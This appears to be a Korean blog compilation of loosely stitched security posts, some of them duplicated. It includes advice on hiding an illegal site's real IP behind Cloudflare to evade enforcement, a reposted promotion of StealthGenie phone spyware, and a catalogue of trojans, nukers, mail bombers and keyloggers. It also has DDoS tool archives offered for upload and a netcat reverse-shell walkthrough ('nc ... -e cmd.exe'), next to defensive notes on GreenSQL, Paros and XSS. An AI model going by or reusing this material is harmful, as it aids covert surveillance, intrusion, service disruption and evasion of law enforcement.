https://dash.cloudflare.com

입니다.

HTTPS 서비스까지 무료 지원 합니다. SSL 인증서 없이 DNS  레코드만 등록하면 됩니다.

불법 사이트에서 많이 사용하는데 무료 서비스도 안정적이지만 속도가 조금 불만 스럽다면 유료 서비스 진행 하셔도 

좋을듯 합니다.

CloudFlare  구글링 하면 쉽게 사용법 나와 있습니다. 

보충 설명 하자면 DNS , DDOS(디도스) , CDN , SSL , PAGE RULL 이런 기능들이 무료입니다.

스마트 패킷 스니퍼 프로그램 입니다.

네트워크 패킷 캡쳐 프로그램 SmartSniff   스마트 스니퍼 프로그램을 이용하여 네트워크 패킷을 확인함

오늘 오전 친구 전화가 왔네요 ㅜㅜ 

완전 불법은 아니지만 불안해서 서버는 한국에 놓고 Cloudflare CDN 을 통해서 진짜 IP 를 감추는 작업을 하고 혹시 모르니

테스트 한번 부탁한다고 연락이 왔습니다. 

통상 Cloudflare CDN 으로 IP 를 우회 한다면 도메인 정보만 가지고 한국에 있는 IP 를 알기는 힘든 일입니다. 그래서 대한민국 

불법 사이트를 운영해도 문체부 및 사이버수사 등에서 아무 역활도 못하고 도메인 차단만 하고 있습니다. 도메인 차단 한다고해도 

HTTPS 로 구성하면 일반 사용자도 접속할수 있습니다 아직까지 HTTPS 로 구성하면 불법 사이트 접속 차단 어렵습니다. 아마도

저작권  관리하는 문화체육관광부(산하) 에서 토렌트등 불법 사이트 수사를 진행 하고 있으나 전문적 지식없이 공개 소스로 호스팅 받아서 홈페이지 운영해서 토렌트 파일 몇개 올리는 이런 사이트만 단속하고 있습니다. 

이런 일반 사이트 (PING 도메인) 으로 IP 확인후 http://whois.kisa.or.kr/kor/main.jsp 사이트 통해서 통신사 까지 확인하고 다급한 상황이 아니면 공문을 통해서 IP 위치 파악후  압수 수색영장 받아서 압수수색합니다.ㅋㅋ

초등학생이 멋모르고 압수수색영장 가지고 쳐들어오면 무섭겠죠!

이렇게 조사해서 검찰로 넘기는 역활 까지 하는듯 합니다. 그러면 MBC 에서 문체부 최고에 기술력으로 토렌트 불법 사이트 집중 단촉 성과 100% 이런 기사가 나오죠. 

멋모르고 걸린 사람은 벌금 1천만원 정도 나오죠. 이렇게 잘 아는 이유는 예전 토렌트 수집기를 개발해서 시험삼아 구동중 구글에서 수집해 가는걸 모르고 있다가 . 나중에 알게되어 사이트 접속을 차단 했습니다.

이후 문체부 에서 압수수색 영장을 가지고 사무실로 왔더군요. 운영도 안하고 접속도 안된다고 했는데 그냥 이유 없이 실적이구나 생각했는지 PC를  검색 하기 시작합니다. TORRENT 파일은 없고 개발 소스등이 나왔는데 . 

이후부터 대전까지가서 조사를 받기 시작 했습니다.

아마 10번 정도 갔듯 합니다. 직원들도 조사 받았어요 ㅜㅜ 젠장

이후 검찰로 넘어가서 벌금 1천만원이 나왔네요.

귀찮아서 그냥인정하고 벌금 내고 끝나긴 했지만.  혹시 불법,사이트운영,수익, 등을 생각했다면

당장 Cloudflare CDN 통해서 운영했을텐데 그럼 절대 못잡을건데 돈 천만원만 날렸네. ㅋㅋ

각설하고 

통상 Cloudflare 통해서 도메인을 숨기는 작업을 합니다.

그리고 차단을 막기 위해 HTTPS 로 리다이렉트 시키죠 하지만 실수로 개발중 서브 도메인을 실 IP 로 연결 하는 경우가 종종 있습니다.


이를 확인하는 방법입니다.


CloudFlare 에서 사용중인 NS 이름에 대한 레코드에 연결된 IP를 확인할수 있습니다. 친구 도메인 검색하니 FTP IP 가 확인되네요

친구에게 전화해서 알려주었습니다.

PS : 게시판 에 글쓰는 방법으로 관리자 IP 를 알수 있습니다. 눈치 빠른 분들 만 챙겨 가세요 ^^

스마트폰 처음 구입 후 이런 저런 프로그램 을 개발 하면서 스마트폰 위치추적이 너무 쉽게 이루어 지는걸 보고 이후 파장이 염려 되었습니다.

 

2010년도 개발한 스마트폰 위치 추적이 지금도 되는걸 보고 구글에서는 뭘 하는지. ?

 

오늘 SPYCELLPHONE 사이트에 접속 하였습니다. 이렇게 공지가 뜨네요

 

 

내용을 한국어로 번역하면 나오는 내용입니다.

 

 

더 이상 법적인 문제로 일시적으로 폐쇄 되었다 합니다.

 

사이트를 이리저리 보던 중

 

 

이런 사진이 있네요 . 카카오톡 스파이가 가능하다는 내용과 함께. 자세히 다른 내용을 들여다 보니 아직도 가능 하다는 내용입니다.

 

기존 내용 입니다.

기능 긁어 와서 붙여 넣기 하겠습니다.

 

기본

StealthGenie는 다른 모바일 스파이 소프트웨어가 제공하는 기본적인 기능과 더불어 몇몇 실용적인 추가 기능을 제공합니다. '베이직' 월간 플랜으로 통화 내역 모니터링, 주고 받은 SMS 메시지 모두 읽기, 연락처와 북마크, 약속과 달력 정보 보기 등이 가능합니다. StealthGenie 베이직은 또한 실시간 GPS 감시와 위치 히스토리 기능을 제공합니다. 

많은 사람들에게, 이 기능으로 충분할 것입니다. StealthGenie 베이직은 이 기능들을 훌륭하게 수행하며,  예를 들어 자녀들의 행방을 대략적으로 지펴 보기만을 원하는 이들에게는 아마도 이 기능들이 스파이 전화기 앱에서 필요한 전부일 것입니다. 고급 기능을 사용할 시간이나 의향이 없다면, StealthGenie 베이직은 꽤 낮은 월 서비스 가격으로 모든 일반적인 기능을 수행합니다.

고급 기능

그러나, 이 제품을 오늘날 시중에 나와있는 모바일 스파이 앱 중에서 유일무이한 것으로 만드는 것은 StealthGenie의 고급 기능입니다. 혁신적인 것들은 매달 단지 몇달러의 추가 비용밖에 들지 않는 StealthGenie '골드' 패지키와 함께 제공됩니다.

가상 경계 설정

이 회사가 개발한 멋진 기능 중 하나는 '가상 경계 설정' 기능입니다. 가상 경계 설정을 사용해서 여러분은 대상 전화기와 그 전화기의 사용자가 여러분이 안전하다고 지정한 지역을 떠나거나 위험 또는 금지된 것으로 여겼던 지역에 들어가는 때를 알려주는 '안전' 지역과 '제한' 지역 경계경보를 설정할 수 있습니다. 이 구역들은 개인 계정의 제어판에 있는 지도 디스플레이를 사용해서 쉽게 지정할 수 있습니다.  이 기능은 특히 자녀들의 행방과 이동을 추적하기 위해 모바일 스파이웨어 구입에 관심을 가지는 부모들에게 유용합니다. 안전 구역으로, 여러분은 여러분의 십대가 학교에서 일찍 나왔는지 또는 공부를 해야 하는 시간에 집에서 벗어나 있는지를 알 수 있습니다. 제한 구역은 대상 전화기가 전화기 사용자에게 출입금지인 지역에 들어서는지를 알려 줍니다. 

메신저, Viber및 스카이프 추적 관찰

StealthGenie 골드를 사용하면 스카이프 통화, 메시지와 연락처 뿐 아니라 WhatsApp과 iMessage 채팅, Viber 통화와 메시지에도 접속할 수 있습니다.

이메일 추적 관찰  

StealthGenie 골드를 사용하면, 사용자는 Gmail에 접속해서 주고 받은 이메일을 읽을 수 있습니다.  많은 스파이 앱은 전화기의 이메일 기능에만 접근할 수 있을 뿐, Gmail 계정 접근이 가능하지 않습니다.  이것은 어떤 이들이 아주 유용하게 생각할 수 있는 기능 중 하나입니다.

주변 소리 녹음

이 기능으로 대상 전화기의 주변 소리를 듣고 녹음할 수 있습니다. 이 기능은 전화기를 대화나 전화기의 인근에서 발생하는 다른 활동을 듣는 도청 장치로 사용할 수 있게 해줍니다. 많은 사람들이 이것을 상당히 매력적인 기능으로 보고 있으며 현재 대부분의 훌륭한 스파이 앱은 자신들의 패키지에서 이 기능을 제공하고 있습니다

멀티미디어 접금

StealthGenie 골드를 사용하면, 사진과 동영상을 볼 수 있으며 전화기에 저장된 음악 파일도 들을 수 있습니다.

 

즉각적인 경계경보

StealthGenie의 흥미로운 기능 중 하나는 사용자가 '의심스러운' 단어와 전화번호를 지정할 수 있는 기능입니다. 특정한 단어나 단어 세트가 대상 전화기에 입력이 되면, 여러분은 즉각적인 경계경보를 받게 됩니다. 전화번호에 대해서도 동일합니다. 여러분은 이메일 및/또는 SMS을 통해 즉각적인 통지를 받게 됩니다. 제가 알고있는 한, 현 시점에서StealthGenie가 이 기능을 제공하는 유일한 회사이며 이 기능은 분명히 어떤 상황에서 유용한 것입니다.

 

StealthGenie는 아이폰, 안드로이드와 블랙베리 iOS 또는 OS가 장착된 전화기와 태블릿에 작동합니다. Symbian과 윈도우 사용자에게는 유감스럽지만, 현 시점에서 StealthGenie는 해당 기기를 제공하지 않습니다.

 

StealthGenie는 광고하는 그대로 작동하는 훌륭한 기능을 많이 갖추고 있는 잘 설계되고 사용자 친화적인 스파이 전화기 앱입니다. 저는 그 기능 중 어느 것에서도 문제를 발견할 수 없었으며 모든 기능이 이해하고 사용하기에 아주 쉬웠습니다. 

제어판은 간단하며 전혀 기술적이지 않은 타입의 사람들이라고 하더라도 제어와 설정을 통해 상당히 빨리 다룰 수 있게 될 것입니다. 데모 페이지는StealthGenie 가 무엇이며 어떻게 사용하는지에 대한 감을 익히려는 신규 사용자에게 확실히 추천할만한 것입니다.

StealthGenie는 주위에서 가장 저렴한 옵션은 아니지만, 두 패키지에서 제공하는 기능을 고려해볼 때 가격은 충분히 경쟁적이며  회사에 대한 평판도 좋습니다. 이 회사는이제 꽤 오래 전부터 이 사업에 종사해왔고 자사 제품의 기능을 혁신적이고 유용한 방식으로 계속 발전시키고 있습니다.

 

결론 :

 

지금도 넷버스 등 트로이 목마가 존재 합니다. (백신에 걸려서 사용못한다고 ?)

오픈소스가 많아서 일부 소스를 수정하면 아직도 백신에 걸리지 않고 PC를 장악 할 수 있습니다.

스마트 폰이라고 이런 트로이목마 를 근본적으로 사용할수 없도록 할수 있는 방법이 없네요. 그나마 애플이 이런 면에서는 한수 위라고 생각합니다.

 

GreenSQL( http://www.greensql.net/ )은 MySQL에 대한 SQL 인젝션(Injection) 공격을 방어하는 프락시 개념의 어플리케이션이다. 웹페이지를 호출하면 DB쿼리는 먼저 GreenSQL 로 넘어겨지고, 검사한 후 정상적이면 MySQL 서버로 요청하는 과정을 거친다.
GreenSQL을 설치하고 실행과정은 이렇다. MySQL 서버는 기존 그대로 실행(디폴트 3306 포트)하고, GreenSQL을 3305포트로 실행(127.0.0.1:3305)한다. 이 때 GreenSQL은 MySQL 서버로 커넥션이 이뤄진다. 웹페이지는 DB커넥션을 GreenSQL의 3305포트로 커넥션하도록 변경해주면 된다. (MySQL을 3305로, GreenSQL을 3306으로 실행할 수도 있을 것이다.)


[ 이미지 출처 : GreenSQL 홈페이지 ]

DB 쿼리의 정상, 비정상은 어떻게 판단하는가?

1) '관리자가 실행할 SQL 유형'이나 '민간한 형태의 SQL 유형'(flush privileges, show 명령, 불법적 형태 등)을 패턴 매칭 방식으로 찾아서 불법 요청으로 간주한다. 예를들면 DB관리 명령어, DB 스키마를 변경시도하는 경우, 시스템 파일을 액세스하려는 경우 등을 불법으로 간주한다. 이 패턴에 대해서는 설정 파일을 통해서 변경이 가능하다.

2) 그후 각 쿼리 유형에는 점수가 할당되어 있는데, 이 점수를 합산한다. 지정된 값 이상이 될 경우, 경고 메시지를 뿌려주거나 차단할 수 있다. 유형은 다음과 같다.

* Access to sensitive tables increases risk query (users, accounts, credit information)
* Comments inside SQL commands increases query risk
* Usage of an empty password string
* Found ‘or’ token inside query
* Found SQL expression that always return true (SQL tautology)
* Comparison of constant values (SQL tautology)
* ... 등 ...

점수는 설정 파일을 통해서 변경이 가능하다. 다음은 샘플 설정 파일의 일부이다.
# If query risk is bigger then specified value, query will be blocked
block_level = 30
# Level of risk used to generate warnings. It is recomended to run application
# in low warning level and then to acknowledge all valid queries and
# then to lower the block_level
warn_level=20
# Risk factor associated with SQL comments
risk_sql_comments=30

차단된 샘플 로그이다. (sCag님 제공. 감사합니다.)

2008-12-09 16:54:18 mysql SELECT * FROM user WHERE name = 'x' or 1=1; --' AND pwd=SHA('') blocked

GreenSQL에 대한 결론이다.

멋진 생각이다. ^^
패턴 설정과 차단수준을 유동적으로 변경 가능하다.
대부분의 리눅스 배포판을 지원하며, FreeBSD도 지원한다.
성능 테스트 결과 약간의 성능 저하가 발생한다. (2~12%정도)
대용량 서비스에서 사용하기는 무리가 있을 것 같다.
소규모 사이트나 웹호스팅에서는 고려해볼만 하다.
SQL Relay(DB 풀링과 로드발런싱 등)에서 제공하는 기능 등이 하나로 합쳐진다면 멋질 것 같다.

내용 출처 : http://truefeel.tistory.com/129

다운로드 : http://www.greensql.net/download

==============================================================================
Trojan Virus / Hacking Tool
==============================================================================
Back Orifice 2000 --- cDc에서 공개한 백 오리피스 2000
Back Orifice 1.20 --- cDc 에서 공개한 백 오리피스
Back Orifice 1.3 --- 역시 BO의 업그레이드 버전
주민등록번호생성기 --- 주민등록 번호 생성기
Infector 2 --- V3에 안 잡히는 BOSERVE.EXE
Deep Bo --- BO의 업그레이드 버전!! (편리한 IP Sweep 기능)
Bo Plug-in --- 3가지 BO 플러그 인 (ButtTrumpet, SilkRope, BOFTP)
No BO 13a --- BO 해킹 방지 전문적으로 차단하는 프로그램
Net Bus 1.70 --- BO랑 쌍벽을 이루는 Trojan Hacking 프로그램
Net Bus Pro B --- 넷버스 2 프로 베타 버전 원제는 NetBus 2 Atomic Toxic
Ner Bus Pro 2.01 --- 넷버스 프로 2.01
Netbus Pro 2.1 Dropper --- Netbus Pro 2.1 Dropper
Lock Down 2000 Trojan Virus --- 전문 검사+치료 프로그램
BO SPY --- BO Gui쓰는 사람에게
Cleaner 2.0 --- bo 검사 & 치료 프로그램
BO Scanner --- Cleaner 2.0과 비슷한 프로그램
BO Remove --- BO만 치료
Modem Jammer --- IP경로 지우는 프로그램
Infector 2 --- V3에 안 잡히는 BOSERVE.EXE
스쿨버스 --- 스쿨버스입니다.
Deepthroat --- nobo에 안걸 리는 bo 서버
Subseven --- v1.7 트로이입니다.
Subseven --- 2.1 버그 패치 된 것
Pphucker --- pphucker라는 트로이

==============================================================================
포트스캔
==============================================================================
Port Scanner --- 포트 스캐너입니다.
Port Pro //
Port Test //
ChaOscan //
Tcp port scanner //
FTP Scanner --- IP주소로 FTP서버를 찾아줌

==============================================================================
WWW해킹
==============================================================================
Wwwhack98 --- 가장 잘 알려진 웹 해킹 프로그램
Webcrack --- 특별한 기능이 있는 웹 해킹 프로그램
HackerTTP1_3 --- 가장 빠른 웹 해킹 프로그램
Goldeneye --- Goldeneye라는 웹 해킹 프로그램

==============================================================================
누킹
==============================================================================
Mass nuker --- 매우 강력한 누킹 프로그램
Port Fuck --- 윈도우 98의 포트를 막아줌
Wiin nuke --- 95 화면을 먹통으로 만들어 버림
Nuke --- 강력한 누킹 프로그램
Nuke`em --- 컴퓨터를 다운시켜 버림
E-mail Nuker --- 상대방의 E-MAIL을 날려버림
Voob --- 컴퓨터를 다운시켜 버림

===============================================================================
키 로그
==============================================================================
Keylog 97 --- 키보드를 통해 누른 어떤 글자도 날짜별로 체계적으로 저장
Keylog25 //
Passpy //
Keylog //
Key rec //

=============================================================================
유닉스/리눅스
==============================================================================
폭탄메일 스크립트 --- 리눅스/유닉스용 폭탄메일
satan --- 취약점을 찾아내는 SATAN이라는 툴
saint --- SATAN이 개선된 SAINT
hack unix --- 유닉스용 해킹 프로그램
fire wall --- 리눅스용 방화벽
스니퍼 --- 몰래 엿보는 프로그램

==============================================================================
메일봄버
==============================================================================
AnonMail --- 자신의 이메일 주소를 원하는데로..
Avalanche --- 폭탄 메일
QFbomber --- 사용법이 쉬운 메일 봄버
Aenima17 --- 메일 봄버
Bomb Mail --- 메일 봄버
E-mail Bombing --- 메일 봄버
Kaboom3 --- 메일을 999장 보냄
Port Fuck! --- Win98 사용자에게 폭탄멜 보내기(누킹 툴 W98)

==============================================================================
크래커
===============================================================================
bus hacker --- 넷버스의 패스워드를 바꿔줌
John the ripper --- 유닉스 PASSWD화일을 해독
Crack Jack //
DateCrack --- 날짜제한을 없애줌
Uunix password cracker --- 유닉스 패스워드 크래커. 도스용
Zip ZIP --- 화일의 패스워드를 크랙
트럼펫윈속 --- 트럼펫윈속의 패스워드를 크랙
UNP --- 자체 압축기법 해제
UX --- 자체 압축기법 해제
마이크로 excel cracker --- 엑셀의 암호를 없애줌
Soft Ice --- 윈도우용 소프트 아이스
화면보호기 cracker --- 윈도우 스크린 세이버의 암호를 풀어줌
John The Ripper 1.0 --- 가장 유명하고 강력한 크래킹 프로그램으로 전설적인 크래킹 기록을 세움
codex TCP/IP Hacker

==============================================================================
패스워드
=============================================================================
Dripper --- 현재 어떤 ID와 PW로 접속했는지 알려줌
Revelation --- 윈도우에서 ****으로 표시된 PW를 알려줌
Cmos password --- CMOS의 패스워드를 마음데로

==============================================================================
바이러스
=============================================================================
에루살렘
핑퐁
바이러스 메이커 1,2,3

============================================================================
방어/추적
==============================================================================
Cleaner 2.0 --- 38개의 트로이를 스캔, 제거툴
Visual Route --- ip만 입력하면 상대방의 국가, 지역까지..
Lock Down 2000 --- 클리너에 버금가는 트로이 스캐너
X-ray 파일 분석기
Nobo --- BO 침투자를 막아주고 IP를 알려줌
Bospy --- 딥보 침투자에게 역해킹..
No Nuke --- 누킹을 막아줌
Nuke Nabber --- 누깅을 막아줌
Neotrc201 --- IP 추적기
Antigen102
Net Buster --- 넷버스를 없애주고 침입자를 물리
Fire wall 98 --- 개인 방화벽
Bo remover --- 백오리피스를 빠른속도로 없애줌
Conseal fire wall --- 개인 방화벽
T.D.S.2 --- 294개의 트로이를 제거해줌

===========================================================================
필수유틸
=============================================================================
Jammer --- 자신의 접속 경로를 지워줍니다.
HAKTEK --- 포트스캔, 핑거, 메일봄버 등이 하나로
com2exe --- *.com을 *.exe화일로...
bat2exe --- *.bat를 *.exe화일로...
exe2com --- *.exe화일을 *.com화일로...
mouse.com --- 가끔 필요한 마우스 띄우는 프로그램
winnt->dos --- 윈도우nt 파일을 도스에서 마운트

A1: Injection
A2: Cross-Site Scripting (XSS)
A3: Broken Authentication and Session Management
A4: Insecure Direct Object References
A5: Cross-Site Request Forgery (CSRF)
A6: Security Misconfiguration
A7: Insecure Cryptographic Storage
A8: Failure to Restrict URL Access
A9: Insufficient Transport Layer Protection
A10: Unvalidated Redirects and Forwards

GreenSQL( http://www.greensql.net/ )은 MySQL에 대한 SQL 인젝션(Injection) 공격을 방어하는 프락시 개념의 어플리케이션이다. 웹페이지를 호출하면 DB쿼리는 먼저 GreenSQL 로 넘어겨지고, 검사한 후 정상적이면 MySQL 서버로 요청하는 과정을 거친다.
GreenSQL을 설치하고 실행과정은 이렇다. MySQL 서버는 기존 그대로 실행(디폴트 3306 포트)하고, GreenSQL을 3305포트로 실행(127.0.0.1:3305)한다. 이 때 GreenSQL은 MySQL 서버로 커넥션이 이뤄진다. 웹페이지는 DB커넥션을 GreenSQL의 3305포트로 커넥션하도록 변경해주면 된다. (MySQL을 3305로, GreenSQL을 3306으로 실행할 수도 있을 것이다.)


[ 이미지 출처 : GreenSQL 홈페이지 ]

DB 쿼리의 정상, 비정상은 어떻게 판단하는가?

1) '관리자가 실행할 SQL 유형'이나 '민간한 형태의 SQL 유형'(flush privileges, show 명령, 불법적 형태 등)을 패턴 매칭 방식으로 찾아서 불법 요청으로 간주한다. 예를들면 DB관리 명령어, DB 스키마를 변경시도하는 경우, 시스템 파일을 액세스하려는 경우 등을 불법으로 간주한다. 이 패턴에 대해서는 설정 파일을 통해서 변경이 가능하다.

2) 그후 각 쿼리 유형에는 점수가 할당되어 있는데, 이 점수를 합산한다. 지정된 값 이상이 될 경우, 경고 메시지를 뿌려주거나 차단할 수 있다. 유형은 다음과 같다.

* Access to sensitive tables increases risk query (users, accounts, credit information)
* Comments inside SQL commands increases query risk
* Usage of an empty password string
* Found ‘or’ token inside query
* Found SQL expression that always return true (SQL tautology)
* Comparison of constant values (SQL tautology)
* ... 등 ...

점수는 설정 파일을 통해서 변경이 가능하다. 다음은 샘플 설정 파일의 일부이다.
# If query risk is bigger then specified value, query will be blocked
block_level = 30
# Level of risk used to generate warnings. It is recomended to run application
# in low warning level and then to acknowledge all valid queries and
# then to lower the block_level
warn_level=20
# Risk factor associated with SQL comments
risk_sql_comments=30

차단된 샘플 로그이다. (sCag님 제공. 감사합니다.)

2008-12-09 16:54:18 mysql SELECT * FROM user WHERE name = 'x' or 1=1; --' AND pwd=SHA('') blocked

GreenSQL에 대한 결론이다.

멋진 생각이다. ^^
패턴 설정과 차단수준을 유동적으로 변경 가능하다.
대부분의 리눅스 배포판을 지원하며, FreeBSD도 지원한다.
성능 테스트 결과 약간의 성능 저하가 발생한다. (2~12%정도)
대용량 서비스에서 사용하기는 무리가 있을 것 같다.
소규모 사이트나 웹호스팅에서는 고려해볼만 하다.
SQL Relay(DB 풀링과 로드발런싱 등)에서 제공하는 기능 등이 하나로 합쳐진다면 멋질 것 같다.

다운로드 : http://www.greensql.net/download

이 프록시 툴을 이용하여 중간에 요청 데이터를 볼 수 있고 또한 수정하여 요청할 수도 있습니다.
바로 이런 방식으로 데이터를 변조하게 되는 것입니다.

그럼 프록시 툴 중 대표적인 두 가지를 소개 합니다.

[1] Paros

1. 개요

현재 가장 많이 쓰이는 프록시 툴이라 할 수 있습니다.

인터페이스가 상당히 직관적이며 조작 역시 편리 합니다.

아래의 주소에서 다운 받을 수 있습니다.

http://www.parosproxy.org/download.shtml

 

2. 설치

파로스 툴은 JVM 환경에서 돌아 갑니다.

즉 운영체제에 맞는 JDK 를 설치 하셔야 합니다.
JDK 다운로드 http://www.oracle.com/technetwork/java/javase/downloads/index.html
그리고 Paros 를 설치 하면 됩니다.

3. 환경 설정

a. 프록시 포트 확인 하기

Paros 를 웹 프록시를 사용 하려면 우선 Paros 의 포트를 확인 해야 합니다

아래와 같이 Tool > Option 메뉴로 이동하시면 옵션 창이 나옵니다. Local proxy 부분에 8080 포트가 웹 프록시로 사용할 포트가 됩니다.

그리고 SSL 통신은 8443 포트를 사용합니다.
이 포트를 사용해도 되고 변경하여도 됩니다.

b. 웹 브라우저 프록시 설정하기

위에서 Paros의 통신 포트를 확인 하였습니다.
이번에는 내 컴퓨터가 인터넷을 이용할 때 프록시로 Paros 를 사용하겠다고 명시 해야 합니다.

아래와 같이 IE 에서 도구 > 인터넷 옵션 > 연결 > LAN 설정으로 들어가서

프록시 주소와 포트를 지정 해 줍니다.

Paros 가 로컬에 있고 8080 포트를 사용하기 때문에 위와 같이 설정 합니다.

드디어 프록시 설정이 완료 되었습니다. 이제부터 웹 사이트 서핑시 Paros 를 로컬 프록시로 사용할 수 있게 되었습니다.

3. Paros 사용하기

기본적으로 Paros 는 웹 요청과 응답 사이에 클라이언트와 서버가 주고 받은 패킷들에 대한 Viewing 을 제공합니다.
아래 화면은 mkex.pe.kr 사이트에 접속할 때 주고 받은 요청/응답 메시지 입니다.

요청 데이터는 Request 탭, 응답 데이터는 Response. 탭에 나타납니다

4. 요청 중간에 개입 하기

이제 본격적으로 Paros 를 사용해서 웹 서버와 통신 중가에 끼어 들어 데이터를 보고 변조 하는 방법에 대해 알아 봅니다.

위 그림을 보시면 Trap 탭이 바로 이 역할을 할 수 있게 합니다.

중간에 Trap request, Trap response 를 체크 하면 요청/응답에 대한 패킷을 정지하여 데이터를 보고 변경할 수 있게 합니다. 요청 흐름은 Continue 버턴을 통해서 하나하나 이루어 집니다.

이 두 체크를 해제 하면 요청과 응답은 한번에 이루어 지지만 이것이 체크되어 있으면 요청과 응답은 항상 Continue 를 클릭할 때 마다 순차적으로 이루어 집니다.

데이터 변조는 이런 식으로 이루어 집니다. 위 그림에서 여러 HTTP 헤더가 보이는데 이 중 일부 값을 변경하여 요청을 하는 방식 입니다.

디도스 공격 툴중에 가장 많이 사용된다는 툴입니다.  아무래도 이제는 인터넷에서 구매까지 할수 있게 되다보니 공격이 더 많아 질수 있겠습니다..

이미지 출처는 네이버 검색 하였습니다. 어리석은 장난으로 디도스 공격 하지 마시기 바랍니다. 네트워크 방해와 서비스를 방해하는 것도 범죄라는 사실을 아셔야 합니다..

넷봇8.5.zip

넷봇_2011_조커.zip

비슷한 관련 툴도 함께 업로드 합니다.

6688.rar

Cxi12Setup.exe

필요한 도구 - 공격자 (HOST) 희생자 (GUEST)

nc.exe

1. 공격자 pc에서 nc -l -p 8080

을 입력후 대기한다

그리고 희생자 pc에서 nc xxx.xxx.xxx.xxx. 8080 -e cmd.exe 를 입력한다

여기서 IP는 공격자의 IP를 입력한다

다시 공격자 pc로 와서 쉘을 확인하면

그림과 같이 접속되서 cmd 명령이 실행되어있음을 보여준다

희생자 pc에서 폴더생성도 가능하다

보시다시피 mkdir 로 폴더생성하면 희생자 pc 쪽에서 폴더가 생성됨을 볼수있다

이곳에 올려진 파일업로드와 관련되어 나온 보안 해결책에 대해 정리해 봤습니다.

첫째,
PHP 파일업로드 후 스크립트 실행에 대한 해결책..

$UPfile = "$upload_name.zip"; // 업로드된 원래 파일뒤에 .zip 포함
$F = opendir("./data") or die(error("./data 디렉토리를 열수 없습니다"));



while($existF = readdir($F)) {

if (file_exists("./data/$UPfile")) {
$y++;
$UPfile = "$upload_name@$y.zip";
// 같은이름이 존재하면 @번호 형식으로 파일명 변경
}

}

closedir($F);

$tfile = substr($UPfile,0,-4); // .zip을 뺀 파일명 DB에 저장

copy($upload,"./data/$UPfile") or die(error("파일 저장에 오류가 있습니다"));

실제로 저장되어 있는 파일명은 .zip 으로 되어있어서 실행이 불가능하며
무조건적으로 다운됩니다.

다운로드시 Header 함수 사용

$filename = "./data/$file.zip"; // 저장되어 있는 파일명
$filesize = filesize($filename); // 저장되어 있는 파일의크기
$Tfile = explode("@",$file); // 원래 파일명 반환
Header("Content-Type: application/zip");
Header("Content-Disposition: inline; filename=$Tfile[0]");
Header("Content-Length: $filesize");
Header("Pragma: no-cache");
Header("Expires: 0");
$fp=fopen("$filename", "r");
echo fread($fp, $filesize);
fclose($fp);

둘째,
GET 방식으로 변수전달하여 서버내의 파일을 다운로드 하는 문제와
사용자가 파일전송폼의 HTML 문서를 사용자의 PC에 저장하여
POST 방식으로 변수전달할경우

if (!eregi("http://$HTTP_HOST",$HTTP_REFERER) or $QUERY_STRING) {
echo("정상적인 접근 바랍니다");
exit;
}

PC 에서 바이러스 체크하는것처럼 바이러스 체크 프로그램으로 검사 하는겁니다.

리눅스 서버의 경우

일단 삼바서버를 띄운다음 노트북이나 클라이언트로 로컬로 붙입니다.

네트웍 드라이브를 잡아 알약 같은 프로그램으로 검사 하는겁니다.

다운받은 각종 유틸 , 동영상, 소스를 서버에 옮기다보니
여기저기 실시간 검색에서 튀어나온 트로이목마들이 많이 발견되더군요.

로컬망을 기가바이트 허브와 각 호스트에 기가바이트 랜카드를 연결하고
CAT6 망으로 바꾸니 복사 속도가 대략 10배나 빨라졌네요.

동영상 큰 파일은 초당 100메가
소스같은 작은 파일은 30메가 정도 나오더군요.

이정도 속도면 SATA 하드를 직접 메인보드에 연결하여 복사하는 속도랑 맞먹습니다.                                       

Cross-Site Scripting

Cross-site scripting ('XSS' or 'CSS') is an attack that takes advantage of a Web site vulnerability in which the site displays content that includes un-sanitized user-provided data. For example, an attacker might place a hyperlink with an embedded malicious script into an online discussion forum. That purpose of the malicious script is to attack other forum users who happen to select the hyperlink. For example it could copy user cookies and then send those cookies to the attacker.

Details

Web sites today are more complex than ever and often contain dynamic content to enhance the user experience. Dynamic content is achieved through the use of Web applications that can deliver content to a user according to their settings and needs.

While performing different user customizations and tasks, many sites take input parameters from a user and display them back to the user, usually as a response to the same page request. Examples of such behavior include the following.

• Search engines which present the search term in the title ("Search Results for: search_term")
• Error messages which contain the erroneous parameter
• Personalized responses ("Hello, username")

Cross-site scripting attacks occur when an attacker takes advantage of such applications and creates a request with malicious data (such as a script) that is later presented to the user requesting it. The malicious content is usually embedded into a hyperlink, positioned so that the user will come across it in a web site, a Web message board, an email, or an instant message. If the user then follows the link, the malicious data is sent to the Web application, which in turn creates an output page for the user, containing the malicious content. The user, however, is normally unaware of the attack, and assumes the data originates from the Web server itself, leading the user to believe this is valid content from the Web site.

For example, consider a Web application that requires users to log in to visit an authorized area. When users wish to view the authorized area, they provide their username and password, which is then checked against a user database table. Now, assume that this login system contains two pages: Login.asp, which created a form for the users to enter their username and password; and the page CheckCredentials.asp, which checks if the supplied username/password are valid. If the username/password are invalid, CheckCredentials.asp uses (for example), a Response.Redirect to send the user back to Login.asp, including an error message string in the query string . The Response.Redirect call will be something like the following.

Response.Redirect("Login.asp?ErrorMessage=Invalid+username+or+password")

Then, in Login.asp, the error message query string value would be displayed as follows:

Using this technique, when users attempt to login with an invalid username or password, they are returned to Login.asp and a short message is displayed indicating that their username/password were invalid. By changing the ErrorMessage value, an attacker can embed malicious JavaScript code into the generated page, causing execution of the script on the computer of the user viewing the site. For example, assume that Login.asp is being called using the following URL.

http://www.somesite.com/Login.asp?ErrorMessage=

As in the code for Login.asp, the ErrorMessage query string value will be emitted, producing the following HTML page:

The attacker embedded HTML code into this page in such a way that when users browse this page, their supplied username and password are submitted to the following page.

http://www.hax0r.com/stealPassword.asp

An attacker can send a link to the contrived page via an email message or a link from some message board site, hoping that a user will click on the link and attempt to login. Of course, by attempting to login, the user will be submitting his username and password to the attacker's site.

Prevention

Cross-site scripting is one of the easiest attacks to detect, yet many Intrusion Prevention Systems fail to do so. The reason why cross-site scripting can be easily detected is that unlike most application level attacks, cross-site scripting can be detected using a signature. The simple text pattern

To accurately detect cross-site scripting attacks the product must know where and when to look for that signature. Most cross-site scripting attacks occur either with error pages or with parameter values. Therefore the product needs to look for cross-site scripting signatures either within parameter values or within requests that return error messages. To look for signatures in parameters values the product must parse the URL correctly and retrieve the value part and then search for the signature on the value while overcoming encoding issues. To look for signatures in pages that return error messages the product needs to know that the specific URL returned an error code. Intrusion Detection and Prevention Systems which are not Web application oriented simply do not implement these very advanced capabilities.

What is cross site scripting

Cross site scripting (XSS) is where one site manages to run a script on another site, with the privileges of you, the user.

